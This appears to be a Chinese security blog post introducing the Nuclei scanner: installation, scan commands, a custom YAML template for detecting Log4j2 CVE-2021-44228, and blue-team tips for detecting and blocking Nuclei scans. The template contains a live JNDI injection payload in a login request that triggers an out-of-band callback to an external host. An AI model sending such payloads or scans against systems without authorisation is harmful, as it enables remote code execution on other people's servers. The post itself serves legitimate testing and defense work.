基于YAML模板的下一代漏洞扫描引擎：Nuclei深度实战与自定义POC编写
原创
运维安全入门
运维安全入门
运维安全入门
2026年9月24日 09:36
陕西
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
传统漏洞扫描器（如 Nessus、AWVS）往往依赖庞大的特征库与黑盒探测，存在误报率高、更新慢、难以定制的痛点。
Nuclei 由 ProjectDiscovery 团队开源，它采用基于 YAML 模板的扫描机制，将漏洞检测逻辑代码化。凭借其极快的扫描速度、极低的误报率与活跃的社区模板库，Nuclei 已成为红队与漏洞猎人手中的\"新宠\"。
01 核心架构：为什么 Nuclei 如此高效？
- YAML 模板驱动：
每个漏洞对应一个 YAML 文件，定义了请求构造、匹配规则与提取逻辑。模板即代码，版本控制友好。
* 多协议支持：
不仅支持 HTTP/HTTPS，还原生支持 TCP、DNS、SSL、WHOIS、文件头等协议的探测。
* 原子化与可组合性：
支持多步请求（Raw HTTP）、变量提取、条件判断，能够模拟复杂的漏洞利用链。
02 安装与基础使用
1. 安装 Nuclei
# 使用 Go 安装 go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest # 使用 Homebrew (macOS) brew install nuclei # 更新漏洞模板库 nuclei -update-templates
2. 基础扫描命令
# 扫描单个目标 nuclei -u https://target.com # 扫描目标列表，并输出 JSON 结果 nuclei -l targets.txt -o results.json -json # 仅运行严重性为 \"critical\" 或 \"high\" 的模板 nuclei -u https://target.com -severity critical,high
03 自定义 YAML 模板编写实战
Nuclei 的核心魅力在于自定义模板。以下是一个检测 Apache Log4j2 RCE（CVE-2021-44228）的模板示例：
id: log4j-rce-cve-2021-44228 info: name: Apache Log4j2 RCE author: your_name severity: critical description: Detects Log4j2 RCE via JNDI injection reference: - https://nvd.nist.gov/vuln/detail/CVE-2021-44228 tags: cve,cve2021,rce,log4j requests: - raw: - | POST /api/login HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {\"username\": \"${jndi:ldap://{{interactsh-url}}/a}\", \"password\": \"test\"} matchers-condition: and matchers: - type: word part: interactsh_protocol words: - \"dns\" - \"http\"
04 蓝队视角：如何防御 Nuclei 扫描？
- 检测 Nuclei 流量：
Nuclei 默认 User-Agent 为 Nuclei - Open-source project；其请求往往携带特定的 Header（如 X-Nuclei-ID）。
* 防御模板探测：
对敏感路径（如 /actuator、/env、/.git）实施访问控制或返回统一 404。
* 防御加固策略：
定期使用 Nuclei 对自身资产进行扫描，提前发现并修复漏洞；部署 WAF 拦截包含 JNDI、SSRF 等特征的恶意请求。
免责声明：本文所涉及工具及技术仅用于安全运维自查、合法授权的渗透测试及安全教育，严禁用于任何未授权的非法攻击行为！
版权声明
本站仅做备份收录，仅供研究与教学参考之用。
读者将信息用于其他用途的，全部法律及连带责任由读者自行承担，本站不承担任何责任。
评论